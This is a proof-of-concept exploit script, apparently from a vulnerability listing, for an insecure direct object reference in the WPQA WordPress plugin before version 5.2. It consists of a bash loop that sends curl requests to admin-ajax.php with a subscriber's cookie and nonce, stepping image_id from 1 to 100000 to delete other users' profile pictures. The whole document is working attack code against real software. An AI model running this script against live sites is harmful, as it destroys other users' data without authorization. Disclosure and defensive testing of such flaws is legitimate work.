WPQA < 5.2 - Subscriber+ Arbitrary Profile Picture Deletion via IDOR

#!/bin/bash
nonce=aae369a8e3
for i in {1..100000};
do
curl 'https://vulnerable.website/wp-admin/admin-ajax.php' -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'X-Requested-With: XMLHttpRequest' -H 'Cookie: something=something' --data-raw 'action=wpqa_remove_image&wpqa_remove_image='$nonce'&image_name=you_avatar&image_type=user_meta&meta_id=6723&image_id='$i;
done